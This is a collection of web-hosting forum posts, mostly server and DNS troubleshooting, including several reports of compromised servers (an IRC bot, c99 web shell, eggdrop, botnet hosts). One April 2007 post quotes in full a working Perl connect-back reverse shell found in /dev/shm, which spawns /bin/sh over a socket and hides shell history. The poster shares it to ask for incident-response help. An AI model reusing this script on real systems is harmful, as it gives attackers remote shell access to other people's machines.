Found An IRC Bot On My Server
Mar 21, 2008
After going back and forth with the folks that are supposed to be managing my server they finally checked and found an irc bot. Here is their message:
I have found a irc bot running on your server. The binaries are located at /var/lib/texmf/.dat/. You can see the tar file which the hacker uploaded at /var/lib/texmf/. I have changed the permissions to 000 so that you can verify the files.
The user of the files are nobody. Hence it is clear that the files were uploaded via url injection using some vulnerable script under some domain. Unfortunately there are no helpful logs to find the exact domains and the vulnerable script. It is certain that the files were first uploaded to /tmp and then moved from there. You can see some similar hack files at /tmp/.dat, /tmp/var and /tmp/.dev12. Also the permission of /var/lib/texmf/ was 777.
You should update all your web softwares to latest version so that they will include latest security patches. Also I will recommend you to enable mod_security in your server to prevent further hacks.
Let us know if you want this to be enabled.
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May 11, 2008
I do not know where to post this, I recently changed Hosts.
My domain through GoDaddy was changed to my new account that was setup, The issue is everyone else can see my website but me and I am not sure why?
On my end I get Server Not Found?
I can see my site through a Proxy and also I have shown the site to a few people and they have no issues accessing it...
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May 17, 2008
I cant visit my website! <snipped> everytime I go it says server not found. So I told some friends to go and they are able to see and visit <snipped> How is that possible?? They could and I cant? Yesterday same thing but then couple hours later it worked I could visit hmlegends.com but i didnt do anything and now today same thing server not found! i cleaned my history everything and still server not found!
So what I did is used a proxy <snipped> and then it worked!
But then I dont use a proxy SERVER NOT FOUND! Its like my IP cant reach hmlegends.com
I dont know how to solve this?!?? It just says server not found!
But it looks like everyone else could access it!
Anyways im using Firefox 2 but then maybe i thought it was my browser so switched to 3 so currently on firefox 3
and no its not its something with my IP cuz when i use proxy i could go to my site
but point is i dont wanna use proxy i wanna use my IP to go to hmlegends.com
Also im using Dial Up Internet!
I use AOL Dialer to connect!
Aol Dialer 4.8.8.4
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Apr 26, 2009
I'll try to make this long story short, but this morning I logged into one of my servers and it showed a read-only filesystem, which I thought my server guys could fix easily. So I put in a ticket. 6 hours later, they tell me that they think the OS is corrupted and I need a new install. They give me KVM over IP so I can go in and 'do' things. I tried to log in as root and it wouldn't let me, so they finally booted in single mode and I can get in and such. When I try to su - root, it tells me that user root can't be found. I also tried to ftp into and out of the server with no luck. I really need this box back up. If not, I need to get all the accounts saved off so that I can build a new box. Everything is there, so I don't want to give up yet.
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Nov 30, 2007
OK so I am running one powerful server. And have PlatinumServerManagement Manage it.
But Ever since I got this server The server never went down or anything like that due to high CPU usage or to many visitors.
But for some reason I am still getting emails from my members that once in a while they cant access the site because they get a "server not found error" I checked the server uptime and it never went down. The server has been up all the time. So I have no idea why these people can't access the website.
My first guess is that they are getting blocked by some security software on my server. But I talked with PlatinumServerManagement and it can't be that.
So does anyone know why they might not be able to see the websites all the times? but only some random times.
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Mar 20, 2007
I am running CentOS and everything is almost perfect, except when I try and send email via the sendmail smtp service the email gets bounced back with the following information:
The original message was received at Tue, 20 Mar 2007 15:27:26 -0700
from localhost.localdomain [127.0.0.1]
----- The following addresses had permanent fatal errors -----
<jkeller@<myrealdomaingoeshere>>
(reason: 550 Host unknown)
----- Transcript of session follows -----
550 5.1.2 <jkeller@<myrealdomaingoeshere>>... Host unknown (Name server: 127.0.0.1: host not found)
[-- Attachment #2 --]
[-- Type: message/delivery-status, Encoding: 7bit, Size: 0.3K --]
Reporting-MTA: dns; localhost.localdomain
Received-From-MTA: DNS; localhost.localdomain
Arrival-Date: Tue, 20 Mar 2007 15:27:26 -0700
I am able to send internal mail, meaning, mail within the internal netowork, but anything external get's kicked back. Thanks for the help.
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Feb 14, 2008
Recently,Mysql has been a problem that is going down.So,I have to restart Mysql Service everyday. You can see for further information at here
Quote:
ERROR
Couldn't connect to database.
Please contact admin about this err. Back
DETAIL
2002 : Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2)
This is the error when i restart Mysql Service via SSH
Quote:
ERROR! MySQL manager or server PID file could not be found!
Starting MySQL SUCCESS!
what i should do and give me a solution to kill this error
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Jan 14, 2015
Not sure what the problem is but I can't preview a new website using Quick Site Preview. I have configured Tools and Settings > Website Preview Settings > Quick Preview on a domain name in Plesk by selecting the server domain name, yet despite this when I go to a new domain I setup today and click preview I get a browser windows that says "Server Not Found".
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Aug 19, 2014
When i try to check my stats, i got this error : Not Found
The requested document was not found on this server.
URL : domaine.nld/plesk-stat/webstat/
I tried a lot of commands, to repair too..
# /usr/local/psa/admin/sbin/statistics --calculate-all
WARNING during statistics_collector execution: : Executing logs preparation...
But nothing... Always the same error.
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Aug 3, 2009
A few weeks back I changed the DNS for my personal website.
With that said, my work runs their own DNS, and for some reason I can only visit my domain name on and off...
For example, I might come into work one day and visit my domain:
[url]
It will work just fine... No connection problems. Then, a few hours later, I try to visit my site again and I get this error:
Quote:
Server not found
Firefox can't find the server at www.example.com.
Then a few/many hours later I can connect again with no problems!!!
Every computer/browser that I have tried in the building gives me this (or similar) error.
This connection problem happens very frequently, and it is on/off throughout the day.
I have narrowed it down to the domain name servers because when I use OpenDNS, I have not problems whatsoever.
Additionally, when I connect to my site from home, I never get this error.
Questions:
1. What do you think the problem is?
2. When approaching the IS dept. with this, what should I tell them is wrong?
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Apr 4, 2007
Found a suspicious script running on a server in /dev/shm
Code:
#!/usr/bin/perl
use IO::Socket;
$system = '/bin/sh';
$ARGC=@ARGV;
print "Connect Back (S) 2007
";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port]
";
die "Ex: $0 127.0.0.1 2121
";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host
";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host
";
print "[*] Connecting... $ARGV[0]
";
print "[*] Spawning Shell
";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("unset HISTFILE; unset SAVEHIST ;echo;id;uname -a;w");
system($system);
#EOF
Removed it, changed all passwords, etc, anyone know how this might've gotten into /dev/shm? ( CentOS 4.4 )
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Jun 11, 2009
We were tasked with helping a website owner find all the malscripts on his site and remove them. He, like many, learned that his site was delivering malicious code with an email from Google.
This website owner had tried removing the code himself and yet his site was still blacklisted by Google. This was killing his sales as anyone visiting with Firefox as their browser, or Chrome, were greeted with a big warning:
This site may harm your computer.
After about a week of trying to rectify the problem himself, he contacted us.
He provided us FTP access to his site so we could tackle it.
After downloading his site (which literally took 3 hours) we started scanning. We grep'd for the word "base64_decode" and found over 228 php files all with the following malscript (spaces added to protect the innocent):
Code:....
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Mar 16, 2009
I have a valid ssl certificate for the website but it still shows address not found error. But sometimes it just works fine.
is it related to dns issue?
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Dec 1, 2008
For the first time after running a server for about a year I decided to buy a new server and in it I found out that there is a some sort of infection in it. What should I do next. The logs are attached in a n attachment.
Attached Files
rootkit.log.txt (9.4 KB, 70 views)
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Apr 27, 2008
I have recently brought a VPS hosting package. At the moment I am going through the tutoritals on the net that I have researched before getting a VPS package to give me some understanding on what I need to do to securior the server and also how to install the software that I require.
For most of today, I have been trying to sort out a problem that I am currently having.
Of which is I am trying to sort out a part of the tutorial from a website that requires the use of apt commands.
But for every command I am getting the message back apt..... Command not found. I am currently using the ubuntu operating system. And through some research, I have got the feeling that I might have the bare installation done on my server to just make it work.
Would I be right, and with the bare installation apt commands wouldn't be installed?
If I am, how would I go about installing the Apt commands and anything else that I might require?
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Feb 22, 2008
I got a new BOX, i see 'cronjob' not working,
cronjob
-bash: cronjob: command not found
I installed
yum install vixie-cron.i386
Still
cronjob
-bash: cronjob: command not found
# cron
-bash: cron: command not found
how can i get 'cronjob' working?
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Jan 20, 2008
I upgraded from Apache 1.3.7 to the latest copy
Everything works nicely, except the cgi-bin directory
When a user tries to access a script or even a standard text file, it throws up the error..
Not Found
The requested URL /cgi-bin/first.txt was not found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
When they try and access the cgi-bin directory itself, they get
Forbidden
You don't have permission to access /cgi-bin/ on this server
Now, I've checked the httpd.conf file and this is what it has for Cgi-bin
<IfModule alias_module>
ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/"
</IfModule>
<Directory "/usr/local/apache/cgi-bin">
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>
And the error logs say..
[Sun Jan 20 18:09:56 2008] [error] [client xx.xx.xx.xx] File does not exist: /home/goewowc/public_html/404.shtml
[Sun Jan 20 18:09:56 2008] [error] [client xx.xx.xx.xx] script not found or unable to stat: /usr/local/apache/cgi-bin/first.txt
The CGI-bin directory is chmodded correctly, the files are also chmodded and belong to the correct group
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Nov 16, 2007
while am installing some programs there is some problem in my php
PHP GD Module Not Found
how could i install it in SSH root?
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Jan 5, 2008
Our Security Technician found yesterday a 200 user botnet on a hidden IRC server and was able to quickly email the compromised systems information (just hostname) to our abuse email. So today i spent the last 2 hours sending emails off to web hosting companies, educational institutions and corporate companies telling them that their systems have been compromised, we regulary email out systems we have found compromised. The thing that stuns me is that most of the systems we found compromised on IRC are dedicated lines between 10MBPS to 1GBPS... I found a few hosting companies and will list them so they can be found by them:
lvps212-241-192-85.vps.webfusion.co.uk
wp056.webpack.hosteurope.de
wp097.webpack.hosteurope.de
wp049.webpack.hosteurope.de
wp055.webpack.hosteurope.de
m2.wrango.com - Dedicated Server with NetworkSolutions
server1.hostfree.com.br
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Apr 21, 2007
My server use cPanel 10x
CentOS
how to fix this problem?
php: /usr/lib/libmysqlclient.so.14: version `libmysqlclient_14' not found (required by php)
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Sep 27, 2007
I just found a script on a customers account after some problems they were having, they mentioned injecting php code, that immediately threw up a red flag, when i took a look i found c99.php
I checked up and this seems to be the web equivalent of a rootkit.
Are there any legitimate reasons for this script? The customer is one of the strangest i've came accross because he had the lowest fraud score yet, used a Lady's name at signup/payment, yet calls himself Michael and seemed to do something with WHMcs security wise.. i dont want to post details as checks are still ongoing but it seems to be a problem with Language scripts and the customer was able to sign up on a monthly plan but Biannually... so no more invoices till 2009 ... strange, although wether innocently this was done or is a known security hole in WHMCS is not known yet.
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May 10, 2007
after a day of crappy performance from one of my VPS accounts, I decided to start digging, and found eggdrop, and couple of other not so nice files in my /tmp directory.
I panicked, of course, and removed all traces of anything I could find that was bad, so I've unfortunately got no way to see how it happened, as far as I know (but I'm far from a security expert)
I need your help in shutting the system down to users. This is an HTTP/SSH/SMTP/POP3/IMAP server.
Tell me what you need to know and I will do my best to get it to you. Basically I'm just frustrated that I've been on it for 3 hours now.....wasting time because some SOB was bored....
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Dec 31, 2007
How can I found the spammer on our server?
one of our customer trying to send mail with a PHP file! but I cannot found this account, can you help me to found this user?
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